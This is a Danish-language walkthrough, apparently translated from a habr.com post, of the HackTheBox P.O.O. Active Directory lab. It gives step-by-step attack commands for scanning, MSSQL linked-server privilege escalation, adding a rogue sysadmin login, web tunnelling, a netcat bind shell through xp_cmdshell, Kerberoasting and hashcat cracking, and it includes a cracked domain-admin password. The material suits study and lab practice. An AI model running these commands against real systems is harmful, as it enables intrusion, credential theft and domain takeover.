HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

I denne artikel vil vi gennemgå ikke bare en maskine, men et helt mini-laboratorium fra platformen HackTheBox.

Som beskrevet er P.O.O. beregnet til at teste færdigheder på alle stadier af angreb i et lille Active Directory-miljø. Målet er at kompromittere en tilgængelig vært, hæve privilegierne og i sidste ende kompromittere hele domenet, mens vi indsamler 5 flag.

Adgang til laboratoriet sker via VPN. Det anbefales ikke at oprette forbindelse fra en arbejdscomputer eller fra en vært, hvor du har vigtige data, da du bliver en del af et privat netværk med mennesker, der har forstand på IT-sikkerhed 🙂

Organisatorisk information
For at du kan få oplysninger om nye artikler, software og anden information, har jeg oprettet en kanal på Telegram og en gruppe til diskussion af eventuelle spørgsmål inden for IuKBS. Dine personlige anmodninger, spørgsmål, forslag og anbefalinger vil jeg se på personligt og svare alle.

Al information præsenteres udelukkende med uddannelsesmæssige formål. Forfatteren af dette dokument påtager sig intet ansvar for eventuelle skader, der måtte opstå som følge af anvendelsen af de viden og metoder, der opnås ved at studere dette dokument.

Intro

Denne endgame består af to maskiner og indeholder 5 flag.

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Derudover gives der en beskrivelse og adresse til den tilgængelige vært.

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Lad os begynde!

Recon flag

Denne maskine har IP-adressen 10.13.38.11, som jeg tilføjer til /etc/hosts.
10.13.38.11 poo.htb

Først scanner vi åbne porte. Da det tager lang tid at scanne alle porte med nmap, starter jeg med masscan. Vi scanner alle TCP- og UDP-porte fra tun0-interface med en hastighed på 500 pakker i sekundet.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Nu for at få mere detaljerede oplysninger om de tjenester, der kører på portene, vil vi udføre en scanning med -A optionen.

nmap -A poo.htb -p80,1433

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Hermed har vi IIS- og MSSQL-tjenester. Samtidig finder vi det virkelige DNS-navn for domænet og computeren. På webserveren mødes vi af IIS-hjemmesiden.

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Lad os gennemgå mapperne. Jeg bruger gobuster til dette. I parametrene angiver vi antal tråde 128 (-t), URL (-u), ordbog (-w) og de udvidelser, der interesserer os (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Dermed har vi HTTP-godkendelse for mappen /admin samt en tilgængelig fil til skrivebordsstoplevelsen .DS_Store. .DS_Store er filer, hvori brugerindstillinger til mappen gemmes, såsom filnavneliste, placering af ikoner og valgte baggrundsbilleder. Sådanne filer kan finde vej til webserverens mapper hos webudviklere. Dermed kan vi få information om indholdet af kataloget. For dette kan vi bruge DS_Store crawler.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Vi modtager indholdet fra kataloget. Det mest interessante her er kataloget /dev, hvor vi i to grene kan kigge på kilderne og db-filerne. Men vi kan kun se de første 6 tegn i filnavnene og mapperne, hvis serveren er sårbar over for IIS ShortName. Denne sårbarhed kan tjekkes ved hjælp af IIS shortname Scanner.

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Og vi finder en tekstfil, der starter med «poo_co». Uden at vide hvad jeg skal gøre videre, valgte jeg simpelthen ord fra ordbogen for mapper, som starter med «co».

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Og lad os gennemgå med wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Og vi finder et passende ord! Vi ser på denne fil, gemmer legitimationsoplysningerne (da parameteren DBNAME tyder på, at de er fra MSSQL).

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Vi indleverer flaget, og vi avancerer med 20%.

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Huh flag

Vi opretter forbindelse til MSSQL, jeg bruger DBeaver.

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Vi finder ikke noget interessant i denne database, lad os oprette en SQL-editor og tjekke hvilke brugere der findes.

SELECT name FROM master..syslogins;

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Vi har to brugere. Lad os tjekke deres privilegier.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Derfor har vi ingen privilegier. Lad os se på de tilknyttede servere, jeg har skrevet om denne metode tidligere. her.

SELECT * FROM master..sysservers;

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

På denne måde finder vi endnu en SQL Server. Lad os tjekke udførelsen af kommandoer på denne server ved hjælp af openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Og vi kan endda bygge et træ af forespørgsler.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Faktisk er det sådan, at når vi udfører en forespørgsel på den tilknyttede server, så udføres forespørgslen i konteksten af en anden bruger! Lad os se, i hvilken kontekst vi arbejder på den tilknyttede server.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Og lad os nu se, i hvilken kontekst forespørgsler fra den tilknyttede server til vores udføres!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Så det er DBO-konteksten, som bør have alle privilegierne. Lad os tjekke privilegierne i tilfælde af en forespørgsel fra den tilknyttede server.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Som man kan se, har vi alle privilegier! Lad os skabe vores egen administrator. Men man kan ikke gøre det via openquery, så lad os gøre det via EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

Og nu forbinder vi os med de nye brugeroplysninger og observerer den nye database flag.

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Vi indleverer denne flag og går videre.

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

BackTrack flag

Vi får en shell via MSSQL, jeg bruger mssqlclient fra impacket-pakken.

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Vi skal finde adgangskoder, og det første, vi allerede har mødt, er webstedet. Så vi har brug for konfigurationen af webserveren (det ser ud til, at det ikke er muligt at uploade en tilbøjelig shell, sandsynligvis på grund af en firewall).

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Men adgangen er nægtet. Selvom vi kan læse filen fra MSSQL, skal vi blot vide, hvilke programmeringssprog der er konfigureret. Og i MSSQL-direktoriet finder vi ud af, at der er Python.

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Så det er ikke noget problem at læse filen web.config.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Med de fundne legitimationsoplysninger logger vi ind på \/admin og henter flaget.

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Foothold flag

Der er nogle ulemper ved at bruge firewall, men ved at gennemgå netværksindstillingerne bemærker vi, at der også er IPv6-problemer!

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Lad os tilføje denne adresse til \/etc\/hosts.
dead:babe::1001 poo6.htb
Lad os scanne værten igen, men via IPv6-protokollen.

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Og WinRM-tjenesten er tilgængelig via IPv6. Vi logger ind med de fundne legitimationsoplysninger.

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Der er et flag på skrivebordet, vi indleverer det.

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

P00ned flag

Efter at have udført rekognoscering på værten ved hjælp af winpeas finder vi ikke noget særligt. Så det blev besluttet at lede efter legitimationsoplysninger igen (om dette emne har jeg også skrevet artiklen). Men jeg kunne ikke få alle SPN fra systemet via WinRM.

setspn.exe -T intranet.poo -Q *\*

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Lad os udføre kommandoen via MSSQL.

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Den angivne metode giver os SPN for brugerne p00_hr og p00_adm, hvilket betyder, at de er sårbare overfor en angrebsmetode som Kerberoasting. Kort sagt kan vi få fat i hash-værdierne for deres adgangskoder.

For at starte skal vi få et stabilt shell under brugerens navn MSSQL. Men da vores adgang er begrænset, har vi kun forbindelse til værten gennem porte 80 og 1433. Men der er mulighed for at tunnelerer trafik gennem port 80! Til dette vil vi bruge følgende applikation. Vi uploader filen tunnel.aspx til hjemmemappen på webserveren — C:inetpubwwwroot.

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Men når vi prøver at tilgå den, får vi en 404-fejl. Det betyder, at filer med *.aspx-udvidelsen ikke køres. For at sikre, at filer med denne udvidelse kan køres, installerer vi ASP.NET 4.5 på følgende måde.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Og nu når vi tilgår tunnel.aspx, får vi svaret, at alt er klar til brug.

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Lad os starte klientdelen af applikationen, som skal retransmittere trafikken. Vi vil omdirigere al trafik fra port 5432 til serveren.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Og vi bruger proxychains til at sende trafikken fra enhver applikation gennem vores proxy. Vi tilføjer denne proxy til konfigurationsfilen /etc/proxychains.conf.

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Nu uploader vi til serveren programmet netcat, som vi kan bruge til at lave et stabilt bind shell, samt scriptet Invoke-Kerberoast, som vi kan bruge til at udføre Kerberoasting-angrebet.

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Nu starter vi lytteren gennem MSSQL.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Og vi forbinder gennem vores proxy.

proxychains rlwrap nc poo.htb 4321

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Lad os få fat i hash-værdierne.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Dernæst skal vi brute-force disse hash-værdier. Da der ikke var nogen adgangskoder i rockyou-ordlisten, brugte jeg ALLE ordlister, der blev givet i Seclists. Til brute-force bruger vi hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Og vi finder begge adgangskoder, den første i ordlisten dutch_passwordlist.txt og den anden i Keyboard-Combinations.txt.

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Så vi har tre brugere, lad os gå til domænekontrolleren. Først finder vi dens adresse.

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Fremragende, vi har fået IP-adressen til domænecontrolleren. Lad os finde alle domænebrugere samt udpege, hvem der er administrator. Vi vil downloade scriptet PowerView.ps1 for at få information. Derefter opretter vi forbindelse via evil-winrm, og angiver stien til scriptet i parameteren -s. Så vil vi blot uploade PowerView-scriptet.

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Nu har vi adgang til alle dens funktioner. Brugeren p00_adm ligner en privilegeret bruger, så lad os arbejde i hans kontekst. Vi opretter et PSCredential-objekt for denne bruger.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Nu vil alle PowerShell-kommandoer, hvor vi angiver Creds, blive udført i navnet på p00_adm. Lad os få vist listen over brugere og attributten AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Og ja, vores bruger er faktisk privilegeret. Lad os se, i hvilke grupper han er medlem af.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Vi bekræfter, at brugeren er domæneadministrator. Dette giver ham ret til at logge ind eksternt på domænecontrolleren. Lad os prøve at logge ind via WinRM ved hjælp af vores tunnel. Jeg blev forvirret af de fejl, der blev givet af reGeorg, når jeg brugte evil-winrm.

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Så lad os bruge et andet, lettere script til at oprette forbindelse til WinRM. Lad os åbne og ændre indstillingerne for forbindelsen.

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Vi prøver at oprette forbindelse, og vi er inde i systemet.

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Men der er ingen flag. Lad os tjekke brugeren og se på skrivebordsene.

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Vi finder flaget hos mr3ks, og laboratoriet er gennemført med 100%.

HackTheBox endgame. Gennemgang af laboratoriet Professional Offensive Operations. Pen-test af Active Directory

Det var det hele. Som feedback, kommenter venligst — har du lært noget nyt af denne artikel, og var den nyttig for dig.

Du kan slutte dig til os i Telegram. Her kan du finde interessante materialer, lækkede kurser og software. Lad os skabe et fællesskab med folk, der har ekspertise inden for mange IT-områder, så vi altid kan hjælpe hinanden med eventuelle IT- og informationssikkerhedsspørgsmål.

Kilde: habr.com

Køb pålidelig webhosting med DDoS-beskyttelse, VPS VDS-servere 🔥 Køb pålidelig webhosting med DDoS-beskyttelse, VPS VDS-servere | ProHoster